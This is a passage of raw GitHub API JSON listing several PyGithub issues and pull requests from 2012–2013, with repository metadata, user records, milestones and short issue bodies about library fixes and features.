v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I could find no way to use the PyGithub API to clear an Issue's milestone or assignee. So I created this patch to make Issue.edit() accept None for the milestone and assignee parameters. I have tested it on a real GitHub issue, and it works, but I have not created any test cases."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/112/events","html_url":"https://github.com/jacquev6/PyGithub/issues/112","id":8189836,"number":112,"title":"Allow for using OAuth id and secret to increase rate limit","user":{"login":"mwoodworth","id":606209,"avatar_url":"https://secure.gravatar.com/avatar/fa8bf31f678044f65afb6c4c5a8ea542?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fa8bf31f678044f65afb6c4c5a8ea542","url":"https://api.github.com/users/mwoodworth","html_url":"https://github.com/mwoodworth","followers_url":"https://api.github.com/users/mwoodworth/followers","following_url":"https://api.github.com/users/mwoodworth/following{/other_user}","gists_url":"https://api.github.com/users/mwoodworth/gists{/gist_id}","starred_url":"https://api.github.com/users/mwoodworth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mwoodworth/subscriptions","organizations_url":"https://api.github.com/users/mwoodworth/orgs","repos_url":"https://api.github.com/users/mwoodworth/repos","events_url":"https://api.github.com/users/mwoodworth/events{/privacy}","received_events_url":"https://api.github.com/users/mwoodworth/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/14/labels","id":189891,"number":14,"title":"Version 1.9.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-10-05T08:15:01Z","updated_at":"2012-11-19T20:52:01Z","due_on":null},"comments":3,"created_at":"2012-11-07T23:17:54Z","updated_at":"2012-11-19T20:05:26Z","closed_at":"2012-11-19T19:50:50Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/112","diff_url":"https://github.com/jacquev6/PyGithub/pull/112.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/112.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"API Doc section for the change\r\nhttp://developer.github.com/v3/#rate-limiting"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/139/events","html_url":"https://github.com/jacquev6/PyGithub/issues/139","id":10758585,"number":139,"title":"Typo in GithubObject \"self._completed\" -> \"self.__completed\"?","user":{"login":"ianozsvald","id":273210,"avatar_url":"https://secure.gravatar.com/avatar/3d644406158b4d440111903db1f62622?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3d644406158b4d440111903db1f62622","url":"https://api.github.com/users/ianozsvald","html_url":"https://github.com/ianozsvald","followers_url":"https://api.github.com/users/ianozsvald/followers","following_url":"https://api.github.com/users/ianozsvald/following{/other_user}","gists_url":"https://api.github.com/users/ianozsvald/gists{/gist_id}","starred_url":"https://api.github.com/users/ianozsvald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ianozsvald/subscriptions","organizations_url":"https://api.github.com/users/ianozsvald/orgs","repos_url":"https://api.github.com/users/ianozsvald/repos","events_url":"https://api.github.com/users/ianozsvald/events{/privacy}","received_events_url":"https://api.github.com/users/ianozsvald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/21/labels","id":262264,"number":21,"title":"Version 1.11.1","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2013-02-07T18:19:05Z","updated_at":"2013-02-09T16:56:36Z","due_on":null},"comments":3,"created_at":"2013-02-07T22:12:31Z","updated_at":"2013-02-08T10:48:28Z","closed_at":"2013-02-08T07:44:02Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I noticed that calls to a user object (e.g. user.email, user.location etc) caused multiple calls to GitHub. Looking at GithubObject.py I see several references to __completed and one to _completed (single underscore) on line 72. Changing line 72 to use a double underscore removed the repeated calls to Github.\r\n\r\nI tried to run your tests but can't figure out how to do so? I'd have left you a pull request if so. I tried \"python -m unittest discover\" and also just running the files, I'm not familiar with the format you've used. I'm happy to run with logs etc if that's useful (some guidance on how to run the tests would be super helpful too). Thanks, Ian."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/148/events","html_url":"https://github.com/jacquev6/PyGithub/issues/148","id":12097154,"number":148,"title":"Notification API","user":{"login":"pgolm","id":1444194,"avatar_url":"https://secure.gravatar.com/avatar/c6d6b2eb927ed858092c47da9f150372?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c6d6b2eb927ed858092c47da9f150372","url":"https://api.github.com/users/pgolm","html_url":"https://github.com/pgolm","followers_url":"https://api.github.com/users/pgolm/followers","following_url":"https://api.github.com/users/pgolm/following{/other_user}","gists_url":"https://api.github.com/users/pgolm/gists{/gist_id}","starred_url":"https://api.github.com/users/pgolm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pgolm/subscriptions","organizations_url":"https://api.github.com/users/pgolm/orgs","repos_url":"https://api.github.com/users/pgolm/repos","events_url":"https://api.github.com/users/pgolm/events{/privacy}","received_events_url":"https://api.github.com/users/pgolm/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":3,"created_at":"2013-03-16T16:38:35Z","updated_at":"2013-03-19T22:14:44Z","closed_at":"2013-03-19T22:14:44Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/148","diff_url":"https://github.com/jacquev6/PyGithub/pull/148.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/148.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"implementation of Notification API #108"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/156/events","html_url":"https://github.com/jacquev6/PyGithub/issues/156","id":12867103,"number":156,"title":"renaming files in a gist","user":{"login":"jasonwiener","id":204083,"avatar_url":"https://secure.gravatar.com/avatar/fed498e65aec4199029994d4feab4fb1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fed498e65aec4199029994d4feab4fb1","url":"https://api.github.com/users/jasonwiener","html_url":"https://github.com/jasonwiener","followers_url":"https://api.github.com/users/jasonwiener/followers","following_url":"https://api.github.com/users/jasonwiener/following{/other_user}","gists_url":"https://api.github.com/users/jasonwiener/gists{/gist_id}","starred_url":"https://api.github.com/users/jasonwiener/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jasonwiener/subscriptions","organizations_url":"https://api.github.com/users/jasonwiener/orgs","repos_url":"https://api.github.com/users/jasonwiener/repos","events_url":"https://api.github.com/users/jasonwiener/events{/privacy}","received_events_url":"https://api.github.com/users/jasonwiener/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalitie